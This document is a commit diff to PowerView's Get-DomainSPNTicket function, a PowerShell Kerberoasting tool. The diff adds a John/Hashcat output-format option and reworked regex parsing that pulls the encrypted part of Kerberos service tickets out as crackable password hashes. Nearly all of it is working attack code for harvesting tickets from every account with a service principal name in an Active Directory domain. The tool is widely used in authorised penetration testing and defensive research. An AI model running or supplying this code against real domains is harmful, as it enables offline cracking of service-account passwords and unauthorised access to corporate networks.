@@ -2597,6 +2597,11 @@ Specifies the service principal name to request the ticket for.
25972597
25982598Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
25992599
2600+ .PARAMETER OutputFormat
2601+
2602+ Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2603+ Defaults to 'John'.
2604+
26002605.PARAMETER Credential
26012606
26022607A [Management.Automation.PSCredential] object of alternate credentials
@@ -2616,9 +2621,9 @@ Request kerberos service tickets for all SPNs passed on the pipeline.
26162621
26172622.EXAMPLE
26182623
2619- Get-DomainUser -SPN | Get-DomainSPNTicket
2624+ Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
26202625
2621- Request kerberos service tickets for all users with non-null SPNs.
2626+ Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format .
26222627
26232628.INPUTS
26242629
@@ -2653,6 +2658,11 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
26532658 [Object[]]
26542659 $User,
26552660
2661+ [ValidateSet('John', 'Hashcat')]
2662+ [Alias('Format')]
2663+ [String]
2664+ $OutputFormat = 'John',
2665+
26562666 [Management.Automation.PSCredential]
26572667 [Management.Automation.CredentialAttribute()]
26582668 $Credential = [Management.Automation.PSCredential]::Empty
@@ -2701,28 +2711,53 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
27012711 $TicketByteStream = $Ticket.GetRequest()
27022712 }
27032713 if ($TicketByteStream) {
2704- $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
2705- [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
2706- $Parts.RemoveAt($Parts.Count - 1)
2707- $Hash = $Parts -join 'A48201'
2708- $Hash = $Hash.Insert(32, '$')
2709-
27102714 $Out = New-Object PSObject
2711- $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2712- $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2713- $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
27142715
2715- if ($DistinguishedName -ne 'UNKNOWN') {
2716- $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2717- }
2718- else {
2719- $UserDomain = 'UNKNOWN'
2716+ $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
2717+
2718+ # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
2719+ # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
2720+ if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
2721+ $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
2722+ $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
2723+ $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
2724+
2725+ # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
2726+ if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
2727+ Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
2728+ $Hash = $null
2729+ $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
2730+ } else {
2731+ $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
2732+ $Out | Add-Member Noteproperty 'TicketByteHexStream' $null
2733+ }
2734+ } else {
2735+ Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
2736+ $Hash = $null
2737+ $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
27202738 }
27212739
2722- # hashcat output format (and now John's)
2723- $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2740+ if($Hash) {
2741+ if ($OutputFormat -match 'John') {
2742+ $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
2743+ }
2744+ else {
2745+ if ($DistinguishedName -ne 'UNKNOWN') {
2746+ $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2747+ }
2748+ else {
2749+ $UserDomain = 'UNKNOWN'
2750+ }
27242751
2725- $Out | Add-Member Noteproperty 'Hash' $HashFormat
2752+ # hashcat output format
2753+ $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2754+ }
2755+ $Out | Add-Member Noteproperty 'Hash' $HashFormat
2756+ }
2757+
2758+ $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2759+ $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2760+ $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
27262761 $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
27272762 Write-Output $Out
27282763 }
@@ -8658,7 +8693,7 @@ OpaqueLength : 0
86588693
86598694Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
86608695
8661- Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
8696+ Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
86628697
86638698[no results returned]
86648699
0 commit comments